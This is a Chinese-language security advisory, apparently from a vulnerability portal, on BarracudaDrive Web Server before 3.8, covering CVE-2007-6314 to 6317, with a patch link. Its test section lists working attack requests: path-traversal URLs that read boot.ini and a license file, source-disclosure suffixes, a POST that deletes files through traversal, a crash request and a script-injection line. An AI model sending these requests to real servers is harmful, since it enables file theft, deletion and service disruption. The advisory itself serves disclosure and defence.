发布日期：2007-12-10
更新日期：2008-01-03

受影响系统：

BarracudaDrive Web Server BarracudaDrive Web Server 3.x

描述：

---

BUGTRAQ  ID: 26805
CVE(CAN) ID: CVE-2007-6314,CVE-2007-6315,CVE-2007-6316,CVE-2007-6317

Barracuda Drive是Real Time Logic开发的商业性Web服务器。

BarracudaDrive Web Server 3.8之前版本在处理畸形URL文件名时存在安全漏洞，远程攻击者通过向URL内的文件名附加"+", ".", "%80"及相似字符，利用此漏洞可读取Web脚本的源代码。

<*来源：Luigi Auriemma （aluigi@pivx.com）
  
  链接：http://secunia.com/advisories/28032
        http://aluigi.altervista.org/adv/barradrive-adv.txt
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

A] http://www.example.com/\..\..\..\boot.ini http://www.example.com/%80..\..\..\boot.ini http://www.example.com/%ff..\bdlicense.dat B] http://www.example.com/lua.lsp+ http://www.example.com/lua.lsp. http://www.example.com/lua.lsp%80 C] POST /drive/c/bdusers/USER/?cmd=rm HTTP/1.1 Host: www.example.com Cookie: "use the real user's cookie!" Content-Type: application/x-www-form-urlencoded Content-Length: 21 dir=..\..\..\file.txt D] POST /eh/chat.ehintf/C. HTTP/1.1 Host: www.example.com Content-Type: text/plain Content-Length: 0 Cookie: "use the real user's cookie!" E] GET <script>alert('hello');</script> HTTP/1.0

建议：

---

厂商补丁：

BarracudaDrive Web Server
-------------------------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://barracudaserver.com/products/BarracudaDrive/

浏览次数：1817
严重程度：0（网友投票）